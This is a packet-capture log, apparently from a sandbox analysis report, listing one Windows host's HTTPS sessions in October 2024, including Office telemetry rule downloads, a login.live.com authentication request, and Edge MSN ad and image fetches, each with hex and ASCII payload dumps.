2024-10-29 01:46:40 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014640Z-r197bdfb6b4bs5qf58wn14wgm000000004vg000000008grf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014640Z-16849878b78smng4k6nq15r6s4000000079g00000000mtdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014640Z-16849878b78fkwcjkpn19c5dsn00000004wg00000000b15m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014640Z-16849878b786lft2mu9uftf3y40000000770000000000fgh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014640Z-17c5cb586f6fqqst87nqkbsx1c0000000490000000008qzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49892	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 01:46:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 01:46:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 01:45:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BL2 x-ms-request-id: 302abefd-3045-4822-a2b2-5cc662302949 PPServer: PPV: 30 H: BL02EPF0001DA23 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:40 GMT Connection: close Content-Length: 11392
2024-10-29 01:46:42 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49899	20.75.60.91	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:40 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=068FFCF09D60634F3420E9D79CEE6292&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0d66e01a569a484aef2b95b7c66b2020 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
2024-10-29 01:46:42 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 01:46:40 GMT Connection: close
2024-10-29 01:46:42 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49904	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 03 Oct 2024 14:00:39 GMT X-Datacenter: eastus X-ActivityId: 4ad2370b-5f86-495e-9ada-427901cc8783 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 X-Source-Length: 79668 Content-Length: 79668 Cache-Control: public, max-age=173740 Expires: Thu, 31 Oct 2024 02:02:21 GMT Date: Tue, 29 Oct 2024 01:46:41 GMT Connection: close
2024-10-29 01:46:42 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 01:46:42 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-10-29 01:46:42 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
